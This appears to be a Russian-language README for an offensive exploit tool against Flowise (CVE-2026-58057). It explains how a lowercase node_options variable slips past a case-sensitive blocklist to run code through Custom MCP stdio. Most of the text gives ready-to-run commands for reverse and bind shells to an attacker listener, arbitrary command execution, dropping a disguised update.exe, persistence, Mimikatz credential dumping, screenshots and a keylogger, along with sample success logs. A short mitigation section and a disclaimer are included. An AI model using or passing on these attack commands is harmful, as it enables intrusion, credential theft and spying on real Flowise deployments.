
Flowise Windows RCE exploit for CVE-2026-58057. Bypasses environment variable validation via case-sensitive flaw. Uses node_options to inject arbitrary code through MCP stdio. Supports reverse shell, persistence, file upload, credential dumping. For authorized security testing only.
Это эксплойт производственного уровня для CVE-2026-58057 — критической уязвимости удаленного выполнения кода (RCE) в Flowise на платформе Windows. Уязвимость возникает из-за проверки переменных окружения с учетом регистра, которая не блокирует нижний регистр node_options, что позволяет злоумышленникам обойти черный список NODE_OPTIONS и выполнить произвольный код через конфигурацию Custom MCP stdio.
Эксплойт демонстрирует профессиональные инженерные практики: модульную архитектуру, всестороннюю обработку ошибок и поддержку нескольких типов полезных нагрузок.
ВАЖНО: Этот инструмент предоставляется только для авторизованного тестирования безопасности, пентеста и образовательных целей. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Всегда получайте надлежащее разрешение перед тестированием любой системы.
# Уязвимая проверка (с учетом регистра)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Блокируется только точное совпадение в верхнем регистре
raise ValueError(f"Modification not allowed")
Злоумышленник аутентифицируется в Flowise
Создаёт/изменяет узел Custom MCP stdio
Внедряет переменную окружения node_options в нижнем регистре
Устанавливает значение --require malicious-loader.js
Node.js выполняет загрузчик при запуске MCP stdio
Достигается произвольное выполнение кода
✅ Reverse Shell — обратное подключение к машине атакующего
✅ Bind Shell — открытие порта прослушивания на цели
✅ Выполнение команд — запуск произвольных системных команд
✅ Загрузка файлов — загрузка файлов в целевую систему
✅ Сохранение доступа — несколько механизмов персистентности
✅ Сбор информации — сбор данных о системе
✅ Извлечение учётных данных — интеграция с Mimikatz
✅ Захват скриншотов — снятие скриншотов рабочего стола
✅ Кейлоггер — установка возможности записи нажатий клавиш
🔐 Несколько методов аутентификации — API-ключ или имя пользователя/пароль
🔄 Автоматическая логика повтора — устойчивость к сетевым проблемам
🧹 Самоочистка — удаление файлов загрузчика с цели
🌐 Кроссплатформенность — работает на Windows/Linux/macOS
🎨 Цветной вывод — улучшенная читаемость
📊 Подробная отладка — детальное логирование для устранения неполадок
Python 3.6 или выше
pip (менеджер пакетов Python)
# Клонируйте репозиторий
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Установите зависимости
pip install -r requirements.txt
# Или минимальная установка
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Параметр | Описание |
|---|---|
--interactive | Запуск интерактивной оболочки |
--verbose | Включить отладочный вывод |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
# Обновите до версии 3.1.3 или новее
npm install -g flowise@latest
# или
docker pull flowiseai/flowise:latest
Ограничьте доступ к конфигурации Custom MCP
Внедрите сегментацию сети
Отслеживайте подозрительные переменные окружения
Используйте Web Application Firewall (WAF)
# Исправленная проверка (без учета регистра)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Проверка без учета регистра
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
# Включить подробное логирование
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Проверить подключение
curl -k https://localhost:3000/api/v1/version
# Проверить версию Python
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Основной скрипт эксплойта
├── requirements.txt # Основные зависимости
├── README.md # Эта документация
├── LICENSE # Лицензия MIT
└── CHANGELOG.md # История версий
Сделайте форк репозитория
Создайте ветку для функции (git checkout -b feature/amazing)
Зафиксируйте изменения (git commit -m 'Add amazing feature')
Отправьте в ветку (git push origin feature/amazing)
Откройте Pull Request
Этот проект лицензирован по лицензии MIT — см. файл LICENSE для подробностей.
FlowiseAI за продукт
Исследователям безопасности, обнаружившим подобные уязвимости
Сообществу пентестеров за методологии тестирования
Автор: Sudeepa Wanigarathna Исследователь безопасности и пентестер
Если вы нашли этот инструмент полезным, пожалуйста, рассмотрите:
⭐ Оценить репозиторий на GitHub
🔔 Подписаться на обновления
📝 Сообщить об ошибках или предложениях
Сделано с ❤️ для сообщества безопасности
| Параметр | Описание | Пример |
|---|
-t, --target | URL Flowise (обязательно) | http://localhost:3000 |
-k, --api-key | API-ключ Flowise | flowise_abc123... |
-u, --username | Имя пользователя | admin |
-p, --password | Пароль | password123 |
| Параметр | Описание | Пример |
|---|
--payload | Тип полезной нагрузки | reverse_shell |
--lhost | Хост слушателя | 192.168.1.100 |
--lport | Порт слушателя | 4444 |
--command | Команда для выполнения | whoami |
--local-file | Файл для загрузки | payload.exe |
--remote-path | Удаленный путь сохранения | C:\\Temp\\update.exe |
--timeout |
| Тайм-аут запроса в секундах |
--retries | Количество попыток повтора |
| Полезная нагрузка | Описание | Аргументы |
|---|
reverse_shell | Обратное подключение к слушателю | --lhost, --lport |
bind_shell | Открытие порта прослушивания | --lport |
command_exec | Выполнение команды | --command |
file_upload | Загрузка файла на цель | --local-file, --remote-path |
persistence | Установка персистентности | Нет |
info_gather | Сбор информации о системе | Нет |
mimikatz | Извлечение учётных данных | Нет |
screenshot | Захват скриншота | Нет |
keylogger | Установка кейлоггера | Нет |
| Проблема | Решение |
|---|
| Ошибка SSL-сертификата | pip install --trusted-host pypi.org -r requirements.txt |
| Отказано в доступе | pip install --user -r requirements.txt |
| Соединение отклонено | Проверьте URL цели и сетевое подключение |
| Сбой аутентификации | Проверьте API-ключ или имя пользователя/пароль |
| Полезная нагрузка не срабатывает | Используйте --verbose для детальной отладки |
| Версия Python | Убедитесь, что установлен Python 3.6+ |